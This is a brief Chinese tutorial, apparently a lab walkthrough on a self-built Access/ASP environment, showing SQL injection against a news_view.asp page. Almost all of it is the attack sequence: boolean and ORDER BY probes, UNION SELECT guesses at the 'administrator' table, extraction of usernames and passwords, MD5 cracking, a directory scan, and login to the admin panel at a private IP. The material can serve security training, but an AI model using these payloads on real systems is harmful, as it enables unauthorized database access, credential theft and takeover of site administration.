http://t.csdnimg.cn/l6Hvp ACCESS环境搭建查看此文章
1.打开网页查看是否存在注入
/news_view.asp?id=13' //报错
/news_view.asp?id=13 and 1=1 //页面正常
/news_view.asp?id=13 and 1=2 //页面错误
2.order by 查看字段列数
/news_view.asp?id=13 order by 8 //页面错误
/news_view.asp?id=13 order by 7 //页面正常,说明有七列
3.判断回显字段及猜测表名称
/news_view.asp?id=13 union select 1,2,3,4,5,6,7 from admin //页面错误,说明表名不是admin
/news_view.asp?id=13 union select 1,2,3,4,5,6,7 from administrator //页面正常,且出现回显点
4.猜用户名和密码
/news_view.asp?id=13 union select 1,user_name,password,4,5,6,7 from administrator //页面正常,说明存在用户名为user_name,密码字段为password
5.将获取到的密码通过MD5解密
6.通过御剑扫描ip下的目录,查找后台登陆系统
访问http://172.16.1.52/admin/index.asp ,登录后台